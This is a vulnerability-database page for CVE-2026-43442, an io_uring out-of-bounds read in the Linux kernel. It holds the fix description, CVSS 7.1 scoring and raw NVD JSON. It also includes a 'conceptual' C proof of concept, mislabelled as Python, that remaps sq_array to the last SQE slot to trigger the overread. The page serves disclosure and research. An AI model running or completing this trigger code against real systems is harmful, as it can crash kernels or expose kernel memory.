Security Vulnerability Report
中文
CVE-2026-43442 CVSS 7.1 HIGH

CVE-2026-43442

Published: 2026-05-08 15:16:57
Last Modified: 2026-05-11 08:16:14
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: io_uring: fix physical SQE bounds check for SQE_MIXED 128-byte ops When IORING_SETUP_SQE_MIXED is used without IORING_SETUP_NO_SQARRAY, the boundary check for 128-byte SQE operations in io_init_req() validated the logical SQ head position rather than the physical SQE index. The existing check: !(ctx->cached_sq_head & (ctx->sq_entries - 1)) ensures the logical position isn't at the end of the ring, which is correct for NO_SQARRAY rings where physical == logical. However, when sq_array is present, an unprivileged user can remap any logical position to an arbitrary physical index via sq_array. Setting sq_array[N] = sq_entries - 1 places a 128-byte operation at the last physical SQE slot, causing the 128-byte memcpy in io_uring_cmd_sqe_copy() to read 64 bytes past the end of the SQE array. Replace the cached_sq_head alignment check with a direct validation of the physical SQE index, which correctly handles both sq_array and NO_SQARRAY cases.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel (Specific vulnerable versions with io_uring support)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <linux/io_uring.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <sys/syscall.h> // Conceptual PoC for CVE-2026-43442 // Demonstrates the setup required to trigger the OOB read int io_uring_setup(unsigned entries, struct io_uring_params *p) { return syscall(__NR_io_uring_setup, entries, p); } int main() { struct io_uring_params p = {0}; // Set the MIXED flag to enable 128-byte ops // Do NOT set NO_SQARRAY, so sq_array is used p.flags = IORING_SETUP_SQE_MIXED; int ring_fd = io_uring_setup(0x100, &p); if (ring_fd < 0) { perror("io_uring_setup"); return 1; } printf("[+] io_uring instance created with fd %d\n", ring_fd); // Map the SQEs and SQ array (Simplified for PoC logic) // In a real exploit, we would mmap the ring buffer based on offsets in p void *sq_ptr = mmap(NULL, p.sq_off.array + p.sq_entries * sizeof(unsigned int), PROT_READ | PROT_WRITE, MAP_SHARED, ring_fd, IORING_OFF_SQ_RING); void *sqes_ptr = mmap(NULL, p.sq_entries * 64, // 64 is standard SQE size PROT_READ | PROT_WRITE, MAP_SHARED, ring_fd, IORING_OFF_SQES); unsigned int *sq_array = (unsigned int *)((char *)sq_ptr + p.sq_off.array); struct io_uring_sqe *sqe = (struct io_uring_sqe *)sqes_ptr; // Exploit Logic: // Map the first logical slot (index 0) to the last physical slot sq_array[0] = p.sq_entries - 1; // Prepare a 128-byte operation (e.g., IORING_OP_URING_CMD) // This operation occupies two consecutive 64-byte slots in the physical array memset(&sqe[p.sq_entries - 1], 0, sizeof(struct io_uring_sqe)); sqe[p.sq_entries - 1].opcode = 18; // IORING_OP_URING_CMD (example for 128-byte op) printf("[+] Triggering submission...\n"); // Submit the request. This triggers io_uring_cmd_sqe_copy // which will attempt to read 128 bytes from the last physical slot. // Since the last slot is at the boundary, it reads 64 bytes past the end. io_uring_enter(ring_fd, 1, 0, 0, NULL); printf("[+] Exploit triggered. Check kernel logs for OOB read/crash.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43442", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:56.663", "lastModified": "2026-05-11T08:16:14.450", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring: fix physical SQE bounds check for SQE_MIXED 128-byte ops\n\nWhen IORING_SETUP_SQE_MIXED is used without IORING_SETUP_NO_SQARRAY,\nthe boundary check for 128-byte SQE operations in io_init_req()\nvalidated the logical SQ head position rather than the physical SQE\nindex.\n\nThe existing check:\n\n !(ctx->cached_sq_head & (ctx->sq_entries - 1))\n\nensures the logical position isn't at the end of the ring, which is\ncorrect for NO_SQARRAY rings where physical == logical. However, when\nsq_array is present, an unprivileged user can remap any logical\nposition to an arbitrary physical index via sq_array. Setting\nsq_array[N] = sq_entries - 1 places a 128-byte operation at the last\nphysical SQE slot, causing the 128-byte memcpy in\nio_uring_cmd_sqe_copy() to read 64 bytes past the end of the SQE\narray.\n\nReplace the cached_sq_head alignment check with a direct validation\nof the physical SQE index, which correctly handles both sq_array and\nNO_SQARRAY cases."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "references": [{"url": "https://git.kernel.org/stable/c/1f794f9bed3e5cf7250a3b4daf112a72ed1513e9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/6f02c6b196036dbb6defb4647d8707d29b7fe95b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}